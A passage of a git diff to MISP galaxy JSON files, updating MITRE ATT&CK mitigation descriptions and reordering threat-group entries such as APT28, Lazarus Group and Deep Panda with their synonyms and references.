AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]", + "meta": { + "uuid": "95ddb356-7ba0-4bd9-a889-247262b8946f" + }, + "value": "Rootkit Mitigation" + }, + { + "description": "Due to potential legitimate uses of source commands, it's may be difficult to mitigate use of this technique.", + "meta": { + "uuid": "7dd3e094-a828-4d2c-bf62-6b8e0f285d98" + }, + "value": "Source Mitigation" + }, + { + "description": "Turn off unused features or restrict access to scripting engines such as VBScript or scriptable administration frameworks such as PowerShell.", + "meta": { + "uuid": "57019a80-8523-46b6-be7d-f763a15a2cc6" + }, + "value": "Scripting Mitigation" + }, + { + "description": "The sudoers file should be strictly edited such that passwords are always required and that users can’t spawn risky processes as users with higher privilege. By requiring a password, even if an adversary can get terminal access, they must know the password to run anything in the sudoers file.", + "meta": { + "uuid": "eba326ab-299e-41b9-8c75-9a6b3f7bfc04" + }, + "value": "Sudo Mitigation" + }, + { + "description": "Due to potential legitimate uses of trap commands, it's may be difficult to mitigate use of this technique.", + "meta": { + "uuid": "a3b9f15d-fcc4-40d6-b1f4-3af88115ae11" + }, + "value": "Trap Mitigation" + }, + { + "description": "Mitigation of timestomping specifically is likely difficult. Efforts should be focused on preventing potentially malicious software from running. Identify and block potentially malicious software that may contain functionality to perform timestomping by using whitelisting[[CiteRef::Beechey 2010]] tools like AppLocker[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]", + "meta": { + "uuid": "5c167af7-c2cb-42c8-ae67-3fb275bf8488" + }, + "value": "Timestomp Mitigation" } ], "version": 5 diff --git a/clusters/mitre-intrusion-set.json b/clusters/mitre-intrusion-set.json index 90c558a..d0a6561 100644 --- a/clusters/mitre-intrusion-set.json +++ b/clusters/mitre-intrusion-set.json @@ -9,6 +9,257 @@ "type": "mitre-intrusion-set", "uuid": "10df003c-7831-11e7-bdb9-971cdd1218df", "values": [ + { + "description": "is a Chinese threat group that has extensively used strategic Web compromises to target victims.[[Citation: Dell TG-3390]] The group has targeted organizations in the aerospace, government, defense, technology, energy, and manufacturing sectors.[[Citation: SecureWorks BRONZE UNION June 2017]]", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Group/G0027", + "http://www.secureworks.com/cyber-threat-intelligence/threats/threat-group-3390-targets-organizations-for-cyberespionage/", + "https://www.secureworks.com/research/bronze-union" + ], + "synonyms": [ + "Threat Group-3390", + "TG-3390", + "Emissary Panda", + "BRONZE UNION" + ], + "uuid": "fb366179-766c-4a4a-afa1-52bff1fd601c" + }, + "related": [ + { + "dest-uuid": "834e0acd-d92a-4e38-bb14-dc4159d7cb32", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + }, + { + "dest-uuid": "f1b9f7d6-6ab1-404b-91a6-a1ed1845c045", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + }, + { + "dest-uuid": "4af45fea-72d3-11e8-846c-d37699506c8d", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + } + ], + "value": "Threat Group-3390" + }, + { + "description": "Threat Group-1314 is an unattributed threat group that has used compromised credentials to log into a victim's remote access infrastructure.[[Citation: Dell TG-1314]]", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Group/G0028", + "http://www.secureworks.com/resources/blog/living-off-the-land/" + ], + "synonyms": [ + "Threat Group-1314", + "TG-1314" + ], + "uuid": "d519164e-f5fa-4b8c-a1fb-cf0172ad0983" + }, + "value": "Threat Group-1314" + }, + { + "description": "Lotus Blossom is threat group that has targeted government and military organizations in Southeast Asia.[[Citation: Lotus Blossom Jun 2015]] It is also known as Spring Dragon.[[Citation: Spring Dragon Jun 2015]]", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Group/G0030", + "https://www.paloaltonetworks.com/resources/research/unit42-operation-lotus-blossom.html", + "https://securelist.com/blog/research/70726/the-spring-dragon-apt/" + ], + "synonyms": [ + "Lotus Blossom", + "Spring Dragon" + ], + "uuid": "88b7dbc2-32d3-4e31-af2f-3fc24e1582d7" + }, + "related": [ + { + "dest-uuid": "32fafa69-fe3c-49db-afd4-aac2664bcf0d", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + } + ], + "value": "Lotus Blossom" + }, + { + "description": "Night Dragon is a threat group that has conducted activity originating primarily in China.[[Citation: McAfee Night Dragon]]", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Group/G0014", + "http://www.mcafee.com/us/resources/white-papers/wp-global-energy-cyberattacks-night-dragon.pdf" + ], + "synonyms": [ + "Night Dragon" + ], + "uuid": "23b6a0f5-fa95-46f9-a6f3-4549c5e45ec8" + }, + "related": [ + { + "dest-uuid": "b3714d59-b61e-4713-903a-9b4f04ae7f3d", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + } + ], + "value": "Night Dragon" + }, + { + "description": "Deep Panda is a suspected Chinese threat group known to target many industries, including government, defense, financial, and telecommunications.Deep Panda.Deep Panda also appears to be known as Black Vine based on the attribution of both group names to the Anthem intrusion.[[Citation: Symantec Black Vine]]", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Group/G0009", + "http://blog.crowdstrike.com/deep-thought-chinese-targeting-national-security-think-tanks/", + "http://www.symantec.com/content/en/us/enterprise/media/security%20response/whitepapers/the-black-vine-cyberespionage-group.pdf", + "https://www.threatconnect.com/the-anthem-hack-all-roads-lead-to-china/", + "https://www.emc.com/collateral/white-papers/h12756-wp-shell-crew.pdf" + ], + "synonyms": [ + "Deep Panda", + "Shell Crew", + "WebMasters", + "KungFu Kittens", + "PinkPanther", + "Black Vine" + ], + "uuid": "a653431d-6a5e-4600-8ad3-609b5af57064" + }, + "related": [ + { + "dest-uuid": "066d25c1-71bd-4bd4-8ca7-edbba00063f4", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + }, + { + "dest-uuid": "0286e80e-b0ed-464f-ad62-beec8536d0cb", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + }, + { + "dest-uuid": "103ebfd8-4280-4027-b61a-69bd9967ad6c", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + } + ], + "value": "Deep Panda" + }, + { + "description": "Dust Storm is a threat group that has targeted multiple industries in Japan, South Korea, the United States, Europe, and several Southeast Asian countries.[[Citation: Cylance Dust Storm]]", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Group/G0031", + "https://www.cylance.com/hubfs/2015%20cylance%20website/assets/operation-dust-storm/Op%20Dust%20Storm%20Report.pdf?t=1456259131512" + ], + "synonyms": [ + "Dust Storm" + ], + "uuid": "ae41895a-243f-4a65-b99b-d85022326c31" + }, + "related": [ + { + "dest-uuid": "9e71024e-817f-45b0-92a0-d886c30bc929", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + } + ], + "value": "Dust Storm" + }, + { + "description": "Stealth Falcon is a threat group that has conducted targeted spyware attacks against Emirati journalists, activists, and dissidents since at least 2012. Circumstantial evidence suggests there could be a link between this group and the United Arab Emirates (UAE) government, but that has not been confirmed.[[Citation: Citizen Lab Stealth Falcon May 2016]]", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Group/G0038", + "https://citizenlab.org/2016/05/stealth-falcon/" + ], + "synonyms": [ + "Stealth Falcon" + ], + "uuid": "894aab42-3371-47b1-8859-a4a074c804c8" + }, + "related": [ + { + "dest-uuid": "dab75e38-6969-4e78-9304-dc269c3cbcf0", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + } + ], + "value": "Stealth Falcon" + }, + { + "description": "Gamaredon Group is a threat group that has been active since at least 2013 and has targeted individuals likely involved in the Ukrainian government.[[Citation: Palo Alto Gamaredon Feb 2017]]", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Group/G0047", + "https://researchcenter.paloaltonetworks.com/2017/02/unit-42-title-gamaredon-group-toolset-evolution/" + ], + "synonyms": [ + "Gamaredon Group" + ], + "uuid": "2e290bfe-93b5-48ce-97d6-edcd6d32b7cf" + }, + "related": [ + { + "dest-uuid": "1a77e156-76bc-43f5-bdd7-bd67f30fbbbb", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + } + ], + "value": "Gamaredon Group" + }, + { + "description": "Lazarus Group is a threat group that has been attributed to the North Korean government.Lazarus Group correlates to other reported campaigns, including Operation Flame, Operation 1Mission, Operation Troy, DarkSeoul, and Ten Days of Rain.[[Citation: Novetta Blockbuster]]", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Group/G0032", + "https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf", + "https://www.us-cert.gov/ncas/alerts/TA17-164A" + ], + "synonyms": [ + "Lazarus Group", + "HIDDEN COBRA", + "Guardians of Peace" + ], + "uuid": "c93fccb1-e8e8-42cf-ae33-2ad1d183913a" + }, + "related": [ + { + "dest-uuid": "68391641-859f-4a9a-9a1e-3e5cf71ec376", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + }, + { + "dest-uuid": "027a1428-6e79-4a4b-82b9-e698e8525c2b", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + } + ], + "value": "Lazarus Group" + }, { "description": "Poseidon Group is a Portuguese-speaking threat group that has been active since at least 2005. The group has a history of using information exfiltrated from victims to blackmail victim companies into contracting the Poseidon Group as a security firm.[[Citation: Kaspersky Poseidon Group]]", "meta": { @@ -32,136 +283,6 @@ ], "value": "Poseidon Group" }, - { - "description": "Group5 is a threat group with a suspected Iranian nexus, though this attribution is not definite. The group has targeted individuals connected to the Syrian opposition via spearphishing and watering holes, normally using Syrian and Iranian themes. Group5 has used two commonly available remote access tools (RATs), njRAT and NanoCore, as well as an Android RAT, DroidJack.[[Citation: Citizen Lab Group5]]", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Group/G0043", - "https://citizenlab.org/2016/08/group5-syria/" - ], - "synonyms": [ - "Group5" - ], - "uuid": "7331c66a-5601-4d3f-acf6-ad9e3035eb40" - }, - "value": "Group5" - }, - { - "description": "PittyTiger is a threat group believed to operate out of China that uses multiple different types of malware to maintain command and control.[[Citation: Bizeul 2014]][[Citation: Villeneuve 2014]]", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Group/G0011", - "https://www.fireeye.com/blog/threat-research/2014/07/spy-of-the-tiger.html", - "http://blog.cassidiancybersecurity.com/post/2014/07/The-Eye-of-the-Tiger2" - ], - "synonyms": [ - "PittyTiger" - ], - "uuid": "fe98767f-9df8-42b9-83c9-004b1dec8647" - }, - "related": [ - { - "dest-uuid": "4d37813c-b8e9-4e58-a758-03168d8aa189", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" - } - ], - "value": "PittyTiger" - }, - { - "description": "admin@338 is a China-based cyber threat group. It has previously used newsworthy events as lures to deliver malware and has primarily targeted organizations involved in financial, economic, and trade policy, typically using publicly available RATs such as PoisonIvy, as well as some non-public backdoors.[[Citation: FireEye admin@338]]", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Group/G0018", - "https://www.fireeye.com/blog/threat-research/2015/11/china-based-threat.html" - ], - "synonyms": [ - "admin@338" - ], - "uuid": "16ade1aa-0ea1-4bb7-88cc-9079df2ae756" - }, - "related": [ - { - "dest-uuid": "ac4bce1f-b3ec-4c44-bd36-b6cc986b319b", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" - } - ], - "value": "admin@338" - }, - { - "description": "RTM is a cybercriminal group that has been active since at least 2015 and is primarily interested in users of remote banking systems in Russia and neighboring countries. The group uses a Trojan by the same name (RTM).[[Citation: ESET RTM Feb 2017]]", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Group/G0048", - "https://www.welivesecurity.com/wp-content/uploads/2017/02/Read-The-Manual.pdf" - ], - "synonyms": [ - "RTM" - ], - "uuid": "c416b28c-103b-4df1-909e-78089a7e0e5f" - }, - "value": "RTM" - }, - { - "description": "APT16 is a China-based threat group that has launched spearphishing campaigns targeting Japanese and Taiwanese organizations.[[Citation: FireEye EPS Awakens Part 2]]", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Group/G0023", - "https://www.fireeye.com/blog/threat-research/2015/12/the-eps-awakens-part-two.html" - ], - "synonyms": [ - "APT16" - ], - "uuid": "d6e88e18-81e8-4709-82d8-973095da1e70" - }, - "value": "APT16" - }, - { - "description": "APT28 is a threat group that has been attributed to the Russian government.[[Citation: FireEye APT28]][[Citation: SecureWorks TG-4127]][[Citation: FireEye APT28 January 2017]][[Citation: GRIZZLY STEPPE JAR]] This group reportedly compromised the Democratic National Committee in April 2016.[[Citation: Crowdstrike DNC June 2016]]", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Group/G0007", - "https://www.secureworks.com/research/threat-group-4127-targets-hillary-clinton-presidential-campaign", - "https://www2.fireeye.com/rs/848-DID-242/images/APT28-Center-of-Storm-2017.pdf", - "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf", - "https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/" - ], - "synonyms": [ - "APT28", - "Sednit", - "Sofacy", - "Pawn Storm", - "Fancy Bear", - "STRONTIUM", - "Tsar Team", - "Threat Group-4127", - "TG-4127" - ], - "uuid": "bef4c620-0787-42a8-a96d-b7eb6e85917c" - }, - "related": [ - { - "dest-uuid": "213cdde9-c11a-4ea9-8ce0-c868e9826fec", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" - }, - { - "dest-uuid": "5b4ee3ea-eee3-4c8e-8323-85ae32658754", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" - } - ], - "value": "APT28" - }, { "description": "Winnti Group is a threat group with Chinese origins that has been active since at least 2010. The group has heavily targeted the gaming industry, but it has also expanded the scope of its targeting. Though both this group and Axiom use the malware Winnti, the two groups appear to be distinct based on differences in reporting on the groups' TTPs and targeting.[[Citation: Kaspersky Winnti April 2013]][[Citation: Kaspersky Winnti June 2015]][[Citation: Novetta Winnti April 2015]]", "meta": { @@ -210,99 +331,52 @@ "value": "Winnti Group" }, { - "description": "Deep Panda is a suspected Chinese threat group known to target many industries, including government, defense, financial, and telecommunications.Deep Panda.Deep Panda also appears to be known as Black Vine based on the attribution of both group names to the Anthem intrusion.[[Citation: Symantec Black Vine]]", + "description": "Scarlet Mimic is a threat group that has targeted minority rights activists. This group has not been directly linked to a government source, but the group's motivations appear to overlap with those of the Chinese government. While there is some overlap between IP addresses used by Scarlet Mimic and Putter Panda, it has not been concluded that the groups are the same.[[Citation: Scarlet Mimic Jan 2016]]", "meta": { "refs": [ - "https://attack.mitre.org/wiki/Group/G0009", - "http://blog.crowdstrike.com/deep-thought-chinese-targeting-national-security-think-tanks/", - "http://www.symantec.com/content/en/us/enterprise/media/security%20response/whitepapers/the-black-vine-cyberespionage-group.pdf", - "https://www.threatconnect.com/the-anthem-hack-all-roads-lead-to-china/", - "https://www.emc.com/collateral/white-papers/h12756-wp-shell-crew.pdf" + "https://attack.mitre.org/wiki/Group/G0029", + "http://researchcenter.paloaltonetworks.com/2016/01/scarlet-mimic-years-long-espionage-targets-minority-activists/" ], "synonyms": [ - "Deep Panda", - "Shell Crew", - "WebMasters", - "KungFu Kittens", - "PinkPanther", - "Black Vine" + "Scarlet Mimic" ], - "uuid": "a653431d-6a5e-4600-8ad3-609b5af57064" + "uuid": "c5574ca0-d5a4-490a-b207-e4658e5fd1d7" }, "related": [ { - "dest-uuid": "066d25c1-71bd-4bd4-8ca7-edbba00063f4", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" - }, - { - "dest-uuid": "0286e80e-b0ed-464f-ad62-beec8536d0cb", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" - }, - { - "dest-uuid": "103ebfd8-4280-4027-b61a-69bd9967ad6c", + "dest-uuid": "0da10682-85c6-4c0b-bace-ba1f7adfb63e", "tags": [ "estimative-language:likelihood-probability=\"likely\"" ], "type": "similar" } ], - "value": "Deep Panda" + "value": "Scarlet Mimic" }, { - "description": "Molerats is a politically-motivated threat group that has been operating since 2012. The group's victims have primarily been in the Middle East, Europe, and the United States.[[Citation: DustySky]][[Citation: DustySky2]]", + "description": "Putter Panda is a Chinese threat group that has been attributed to Unit 61486 of the 12th Bureau of the PLA’s 3rd General Staff Department (GSD).[[Citation: CrowdStrike Putter Panda]]", "meta": { "refs": [ - "https://attack.mitre.org/wiki/Group/G0021", - "http://www.clearskysec.com/wp-content/uploads/2016/06/Operation-DustySky2%20-6.2016%20TLP%20White.pdf" + "https://attack.mitre.org/wiki/Group/G0024", + "http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf" ], "synonyms": [ - "Molerats", - "Gaza cybergang", - "Operation Molerats" + "Putter Panda", + "APT2", + "MSUpdater" ], - "uuid": "df71bb3b-813c-45eb-a8bc-f2a419837411" + "uuid": "5ce5392a-3a6c-4e07-9df3-9b6a9159ac45" }, "related": [ { - "dest-uuid": "f7c2e501-73b1-400f-a5d9-2e2e07b7dfde", + "dest-uuid": "0ca45163-e223-4167-b1af-f088ed14a93d", "tags": [ "estimative-language:likelihood-probability=\"likely\"" ], "type": "similar" } ], - "value": "Molerats" - }, - { - "description": "Strider is a threat group that has been active since at least 2011 and has targeted victims in Russia, China, Sweden, Belgium, Iran, and Rwanda.[[Citation: Symantec Strider Blog]][[Citation: Kaspersky ProjectSauron Blog]]", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Group/G0041", - "https://securelist.com/analysis/publications/75533/faq-the-projectsauron-apt/", - "http://www.symantec.com/connect/blogs/strider-cyberespionage-group-turns-eye-sauron-targets" - ], - "synonyms": [ - "Strider", - "ProjectSauron" - ], - "uuid": "277d2f87-2ae5-4730-a3aa-50c1fdff9656" - }, - "related": [ - { - "dest-uuid": "f3179cfb-9c86-4980-bd6b-e4fa74adaaa7", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" - } - ], - "value": "Strider" + "value": "Putter Panda" }, { "description": "Sandworm Team is a cyber espionage group that has operated since approximately 2009 and has been attributed to Russia.[[Citation: iSIGHT Sandworm 2014]] This group is also known as Quedagh.[[Citation: F-Secure BlackEnergy 2014]]", @@ -343,6 +417,407 @@ ], "value": "Sandworm Team" }, + { + "description": "FIN10 is a financially motivated threat group that has targeted organizations in North America since at least 2013 through 2016. The group uses stolen data exfiltrated from victims to extort organizations.[[Citation: FireEye FIN10 June 2017]]", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Group/G0051", + "https://www2.fireeye.com/rs/848-DID-242/images/rpt-fin10.pdf" + ], + "synonyms": [ + "FIN10" + ], + "uuid": "6c74fda2-bb04-40bd-a166-8c2d4b952d33" + }, + "related": [ + { + "dest-uuid": "fbe9387f-34e6-4828-ac28-3080020c597b", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + } + ], + "value": "FIN10" + }, + { + "description": "APT30 is a threat group suspected to be associated with the Chinese government.Naikon shares some characteristics with APT30, the two groups do not appear to be exact matches.[[Citation: Baumgartner Golovkin Naikon 2015]]", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Group/G0013", + "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf", + "https://securelist.com/analysis/publications/69953/the-naikon-apt/" + ], + "synonyms": [ + "APT30" + ], + "uuid": "f047ee18-7985-4946-8bfb-4ed754d3a0dd" + }, + "related": [ + { + "dest-uuid": "2a158b0a-7ef8-43cb-9985-bf34d1e12050", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + }, + { + "dest-uuid": "2f1fd017-9df6-4759-91fb-e7039609b5ff", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + }, + { + "dest-uuid": "5e0a7cf2-6107-4d5f-9dd0-9df38b1fcba8", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + }, + { + "dest-uuid": "f26144c5-8593-4e78-831a-11f6452d809b", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + } + ], + "value": "APT30" + }, + { + "description": "APT12 is a threat group that has been attributed to China.[[Citation: Meyers Numbered Panda]] It is also known as DynCalc, IXESHE, and Numbered Panda.[[Citation: Moran 2014]][[Citation: Meyers Numbered Panda]]", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Group/G0005", + "https://www.fireeye.com/blog/threat-research/2014/09/darwins-favorite-apt-group-2.html", + "http://www.crowdstrike.com/blog/whois-numbered-panda/" + ], + "synonyms": [ + "APT12", + "IXESHE", + "DynCalc", + "Numbered Panda" + ], + "uuid": "c47f937f-1022-4f42-8525-e7a4779a14cb" + }, + "related": [ + { + "dest-uuid": "48146604-6693-4db1-bd94-159744726514", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + } + ], + "value": "APT12" + }, + { + "description": "APT16 is a China-based threat group that has launched spearphishing campaigns targeting Japanese and Taiwanese organizations.[[Citation: FireEye EPS Awakens Part 2]]", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Group/G0023", + "https://www.fireeye.com/blog/threat-research/2015/12/the-eps-awakens-part-two.html" + ], + "synonyms": [ + "APT16" + ], + "uuid": "d6e88e18-81e8-4709-82d8-973095da1e70" + }, + "value": "APT16" + }, + { + "description": "APT17 is a China-based threat group that has conducted network intrusions against U.S. government entities, the defense industry, law firms, information technology companies, mining companies, and non-government organizations.[[Citation: FireEye APT17]]", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Group/G0025", + "https://www2.fireeye.com/rs/fireye/images/APT17%20Report.pdf" + ], + "synonyms": [ + "APT17", + "Deputy Dog" + ], + "uuid": "090242d7-73fc-4738-af68-20162f7a5aae" + }, + "related": [ + { + "dest-uuid": "c5947e1c-1cbc-434c-94b8-27c7e3be0fff", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + }, + { + "dest-uuid": "24110866-cb22-4c85-a7d2-0413e126694b", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + }, + { + "dest-uuid": "99e30d89-9361-4b73-a999-9e5ff9320bcb", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + }, + { + "dest-uuid": "a0cb9370-e39b-44d5-9f50-ef78e412b973", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + } + ], + "value": "APT17" + }, + { + "description": "APT18 is a threat group that has operated since at least 2009 and has targeted a range of industries, including technology, manufacturing, human rights groups, government, and medical.[[Citation: Dell Lateral Movement]]", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Group/G0026", + "http://www.secureworks.com/resources/blog/where-you-at-indicators-of-lateral-movement-using-at-exe-on-windows-7-systems/" + ], + "synonyms": [ + "APT18", + "TG-0416", + "Dynamite Panda", + "Threat Group-0416" + ], + "uuid": "38fd6a28-3353-4f2b-bb2b-459fecd5c648" + }, + "related": [ + { + "dest-uuid": "9a683d9c-8f7d-43df-bba2-ad0ca71e277c", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + }, + { + "dest-uuid": "2fb07fa4-0d7f-43c7-8ff4-b28404313fe7", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + }, + { + "dest-uuid": "8e28dbee-4e9e-4491-9a6c-ee9c9ec4b28b", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + } + ], + "value": "APT18" + }, + { + "description": "APT1 is a Chinese threat group that has been attributed to the 2nd Bureau of the People’s Liberation Army (PLA) General Staff Department’s (GSD) 3rd Department, commonly known by its Military Unit Cover Designator (MUCD) as Unit 61398.[[Citation: Mandiant APT1]]", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Group/G0006", + "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf" + ], + "synonyms": [ + "APT1", + "Comment Crew", + "Comment Group", + "Comment Panda" + ], + "uuid": "6a2e693f-24e5-451a-9f88-b36a108e5662" + }, + "related": [ + { + "dest-uuid": "1cb7e1cc-d695-42b1-92f4-fd0112a3c9be", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + } + ], + "value": "APT1" + }, + { + "description": "APT32 is a threat group that has been active since at least 2014. The group has targeted multiple private sector industries as well as with foreign governments, dissidents, and journalists. The group's operations are aligned with Vietnamese state interests.[[Citation: FireEye APT32 May 2017]]", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Group/G0050", + "https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html" + ], + "synonyms": [ + "APT32", + "OceanLotus Group" + ], + "uuid": "7e5a571f-dee2-4cae-a960-f8ab8a8fb1cf" + }, + "related": [ + { + "dest-uuid": "247cb30b-955f-42eb-97a5-a89fef69341e", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + }, + { + "dest-uuid": "aa29ae56-e54b-47a2-ad16-d3ab0242d5d7", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + } + ], + "value": "APT32" + }, + { + "description": "APT28 is a threat group that has been attributed to the Russian government.[[Citation: FireEye APT28]][[Citation: SecureWorks TG-4127]][[Citation: FireEye APT28 January 2017]][[Citation: GRIZZLY STEPPE JAR]] This group reportedly compromised the Democratic National Committee in April 2016.[[Citation: Crowdstrike DNC June 2016]]", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Group/G0007", + "https://www.secureworks.com/research/threat-group-4127-targets-hillary-clinton-presidential-campaign", + "https://www2.fireeye.com/rs/848-DID-242/images/APT28-Center-of-Storm-2017.pdf", + "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf", + "https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/" + ], + "synonyms": [ + "APT28", + "Sednit", + "Sofacy", + "Pawn Storm", + "Fancy Bear", + "STRONTIUM", + "Tsar Team", + "Threat Group-4127", + "TG-4127" + ], + "uuid": "bef4c620-0787-42a8-a96d-b7eb6e85917c" + }, + "related": [ + { + "dest-uuid": "213cdde9-c11a-4ea9-8ce0-c868e9826fec", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + }, + { + "dest-uuid": "5b4ee3ea-eee3-4c8e-8323-85ae32658754", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + } + ], + "value": "APT28" + }, + { + "description": "APT29 is threat group that has been attributed to the Russian government and has operated since at least 2008.[[Citation: F-Secure The Dukes]][[Citation: GRIZZLY STEPPE JAR]] This group reportedly compromised the Democratic National Committee starting in the summer of 2015.[[Citation: Crowdstrike DNC June 2016]]", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Group/G0016", + "https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/", + "https://www.f-secure.com/documents/996508/1030745/dukes%20whitepaper.pdf" + ], + "synonyms": [ + "APT29", + "The Dukes", + "Cozy Bear" + ], + "uuid": "899ce53f-13a0-479b-a0e4-67d46e241542" + }, + "related": [ + { + "dest-uuid": "b2056ff0-00b9-482e-b11c-c771daa5f28a", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + } + ], + "value": "APT29" + }, + { + "description": "admin@338 is a China-based cyber threat group. It has previously used newsworthy events as lures to deliver malware and has primarily targeted organizations involved in financial, economic, and trade policy, typically using publicly available RATs such as PoisonIvy, as well as some non-public backdoors.[[Citation: FireEye admin@338]]", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Group/G0018", + "https://www.fireeye.com/blog/threat-research/2015/11/china-based-threat.html" + ], + "synonyms": [ + "admin@338" + ], + "uuid": "16ade1aa-0ea1-4bb7-88cc-9079df2ae756" + }, + "related": [ + { + "dest-uuid": "ac4bce1f-b3ec-4c44-bd36-b6cc986b319b", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + } + ], + "value": "admin@338" + }, + { + "description": "APT3 is a China-based threat group that researchers have attributed to China's Ministry of State Security.[[Citation: FireEye Clandestine Wolf]][[Citation: Recorded Future APT3 May 2017]] This group is responsible for the campaigns known as Operation Clandestine Fox, Operation Clandestine Wolf, and Operation Double Tap.[[Citation: FireEye Clandestine Wolf]][[Citation: FireEye Operation Double Tap]] As of June 2015, the group appears to have shifted from targeting primarily US victims to primarily political organizations in Hong Kong.[[Citation: Symantec Buckeye]]", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Group/G0022", + "http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong", + "https://www.recordedfuture.com/chinese-mss-behind-apt3/", + "https://www.fireeye.com/blog/threat-research/2014/11/operation%20doubletap.html", + "https://www.fireeye.com/blog/threat-research/2015/06/operation-clandestine-wolf-adobe-flash-zero-day.html" + ], + "synonyms": [ + "APT3", + "Gothic Panda", + "Pirpi", + "UPS Team", + "Buckeye", + "Threat Group-0110", + "TG-0110" + ], + "uuid": "0bbdf25b-30ff-4894-a1cd-49260d0dd2d9" + }, + "related": [ + { + 